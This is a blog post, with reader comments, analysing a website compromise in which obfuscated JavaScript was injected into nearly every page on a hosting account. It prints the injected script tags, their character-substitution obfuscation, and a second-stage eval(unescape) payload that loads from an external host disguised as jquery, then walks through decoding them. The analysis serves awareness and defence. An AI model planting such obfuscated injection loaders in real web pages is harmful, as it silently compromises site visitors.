Uh ohz you got haxored!

So a friend came to me today with a problem he was having and wasn’t sure what to do about…

Almost EVERY page on his webserver was going to a blank white page, or a page that was NOT what was intended to be viewed.

After looking into things, I realized we may have some foul play on our hands!

So somehow, this line of code was being inserted into almost every page on his entire hosting account.

<script language=javascript><!--


My first clue was that this is using the javascript function unescape, which decodes an encoded string of text.

If you take the code and run it through a URL encoder, we end up with this:

<script language=javascript><!--  document.write(unescape('<GXscrLrGXirLpt VhsrcrL=Sn/HY8/78HY8.GX1GX1Cl60.Cl61Cl67Cl65Cl6.24Vh9zAn/Cl6jquVheHY8rrLyCl6.jSns>GX</GXszAnczAnrHY8iprLtzAn>').replace(/Cl6|HY8
|zAn|Sn|rL|Vh|GX/g,""));  --></script>

Next you can see at the end they are using javascript’s replace method which does just what it says, replaces characters with other characters.  With this particular piece of code it is replacing Cl6, HY8, zAn, Sn, rL, Vh, and GX with nothing, essentially just removing the characters.

Once you remove those characters you end up with:

<script src=//></script>

Doing a whois on that ip reveals:

person:         Alexander A Solovyov
address:        LIMT Group Ltd.
address:        Karpinskogo 97a
address:        Moscow
address:        111423
address:        Russian Federation
phone:          +7 342 2763167
e-mail:         [email protected]
e-mail:         [email protected]
e-mail:         [email protected]

Sooooo it looks as if Mr. Solovyov has been inserting this piece of code into my friends page.  Doing a simple google search for or Alexander A Solovyov reveals that this guy enjoys doing this sort of thing.

Well if you go to you will see that it APPEARS to be a jquery file… HOWEVER…this is NOT what it is.

There is actually a hidden payload inside the jquery library he included which pulls in MORE escaped code from:

which looks like this:

_=0;for(i=0;i<9;i++){var d=document.getElementById("_"+i+"_");if(d)d.src=""}eval(unescape('~/`/~%4A~%[email protected]%73t %66!u#c%6B%[email protected]%[email protected]~f%2E%2E%2E!?%[email protected]#%76 %73$%[email protected]%79%6C$e=#%64%69s%70`l%61y!:`%6E#o%6Ee~%3E|\n`va#r# [email protected]%3Dn~e%77 @%[email protected]%65|(%312!3%37|0`1%3759!2#0`%30$0`%29;#d$%6F`%63u`%6D!e|n|%74.~c!%6F%6F%6B%69e%3D%22h%67f%74=%31;` |e|xpi%72%65s~%3D"%2B~t.%74%6F!G~%4D~%[email protected]%53%74r$i#%6E$g!%28)~+#%22`; ~pa%74|%68=/@%[email protected]%3B\[email protected]%2F%2F$%3C%2F`d|%69v%3E').replace(/@|\!|~|\?|#|\$|`|\|/g,""));

If we un-obfuscate this code we end up with:

//Just fuck off...<div style=display:none>
var t=new Date(1229972812000);document.cookie="hgft=1; expires="+t.toGMTString()+"; path=/";

Which simply says “Just fuck off…” and then sets a cookie.

This luckily was not doing anything malicious, but COULD in the future (or could have in the past).  He can change any of the code on his webserver to do whatever he wants…whenever he wants.

After digging a bit more, I realized that my friend was infected with a trojan on his personal computer, and the attacker had most likely obtained his webserver account login and accessed it that way.

I figured I would post this little “attack case study” to give anyone interested some insight on a simple attack.  The best way to learn how to prevent these things is to be aware of them.

If you have ever been “hacked” or had your system exploited, leave a comment and let me know what you did to fix the situation, I’m curious to hear if many others have fallen prey like my friend did!

Leave a Reply


  1. Challenger

    I’m having the same thing on my browser. I’m going to what should be an innocent site, but getting the “un-obfuscate” message from AVG. Haven’t figured how to get rid of it yet. I’ll get back with you.

  2. To get rid of everything, you should just have to go into your webpages and remove the text that looks like what I have pasted at the top of this post.

    I would also scan your system with a GOOD UPDATED antivirus program (get nod32 its the best) a couple of times to make sure you aren’t still infected by a trojan.

    The other possibilitiy could be that he is getting in using exploits from common scripts like joomla or wordpress, etc. I would make sure any scripts being run on your webserver are fully updated.

    Good luck!

  3. Jonathan

    The code retrieved from is now 3272 lines after cleaning it up with the Javascript Beautifier. Its far beyond what I can comprehend, but I can send it to someone else for some light reading.

    On the infection side of things, only .js, .html and .php files were targeted for injection. Most of the injected files were part of the FCKEditor package, meaning someone could have uploaded something through there that was not so nice.

    You know, this kind of attack would work a lot better if they didn’t try so hard to obfuscate. The act of hiding makes it obvious that something is hidden. Put it in plain sight and its much harder to identify.

  4. Here’s my story with this IP address.

    So, I’m building a joomla website. I’m standing around at Best Buy looking at some Apple gear and took a peek at the site and it looked trashed — elements on the page were out of sorts and missing. Later, on a different machine, I noticed that it was connecting with “” and the browser appeared to lockup. So I shut the computer down and started poking around for info on the IP address. Anyway, Spybot and AVG didn’t seem to find anything of importantance but get this… the site now appears to be fine on every computer but mine. At this moment the site won’t even open (for me) in Safari (just get a blank page) and FF and IE7 are placing the joomla modules incorrectly (for me). Every other website I hit seems just fine on this computer. And other computers seem to render the site fine (www.site.connexionscc.com).

    I could understand my computer screwed aound with other pages or random pages but not just this particular site. Simply perplexing.

  5. I was infected too! Probably cause an virus on my local PC (wich i used for uploading). I informed my ISP (in the Netherlands):

    After this infection i got the virus warning on a file: setup_u.exe on my local pc. This was AFTER my website was infected and I visited it…

    So probably now the script is infecting other PC’s throug my/our website…

  6. some security researcher

    Note that some malwares directly inject javascript on the machine, by looking at html, php, asp files on the machine. they don’t even need your website credentials, as YOU will upload the infected pages yourself..

    my two cents.

  7. I too have been infected with this, I had just launched my membership when I had an exploit 2 days later.
    I found a config.php file in my root folder of my host with 777 permissions – I removed it and later found I had a trojan on my PC.
    I am fairly green when it comes to computers so I could be a little slow in picking these things up.
    I find now when I click on pages in my nav bar from my index.php the page is directed to it seems to site there for some time and then moves on to open the original page that was intended.
    I am hoping I have foiled it my initially removing the suspect config.php file – but am just not sure.

    My original exploit was 13/03
    Any suggestions – this is my first venture into website building.

    • Your problem is that there is javascript inserted into your documents. I went into just one page and found this directly underneath the tag:

      <script language=javascript><!--
      %3D%2F %2Fyc7jEP8%2E19v810%2EjEP1jEP759v8%2E29v849KKa
      g,"")); --></script>

      This is definitely something malicious. You need to remove that from every and any page it is on in your website. It is good you changed the 777 permissions but I am pretty sure this happened from the trojan you had on your computer. Make sure to remove that code from your pages and remove that trojan from your computer, then change all your passwords.

  8. Michael

    Has anyone figured out how this guy is getting into systems?

  9. Michael

    Forgot to add…in our case, he hit files/folders that had not been touched in 4 years, so i know it wasn’t infected code uploaded from user machines. Could it be an exploit in front page extensions?

  10. My guess is he got in to your hosting account/server and just ran a script to scan for certain files he is interested in and inserts the malicious code.

  11. Very intersting…nobody suggested here how to remove this…please give a proper suggestion if anyone removed this

Next ArticleYahoo Advanced Match vs Standard Match Type